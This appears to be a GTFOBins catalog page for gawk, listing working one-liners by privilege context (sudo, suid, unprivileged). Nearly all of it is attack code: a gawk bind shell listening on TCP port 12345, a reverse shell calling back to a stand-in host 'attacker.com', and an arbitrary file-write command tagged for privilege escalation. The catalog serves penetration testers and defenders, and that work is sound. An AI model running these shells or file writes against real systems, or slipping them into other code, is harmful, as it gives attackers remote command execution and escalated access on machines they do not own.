Catalog GTFOBins

GTFO · Tool

gawk

15 techniques Linux · macOSGTFOBins GPL-3.0

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
Context
sudo
Native
bind-shell

bind-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
Context
suid
Native
bind-shell

bind-shell

Reverse/Bind Shell LinuxmacOS
gawk 'BEGIN {
    s = "/inet/tcp/12345/0/0";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
Context
unprivileged
Native
bind-shell

file-write

File WritePrivilege Escalation LinuxmacOS
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
Context
suid
Native
file-write
MITRE
T1565

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS
gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS
gawk 'BEGIN {
    s = "/inet/tcp/0/attacker.com/12345";
    while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
    while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
Context
unprivileged
Native
reverse-shell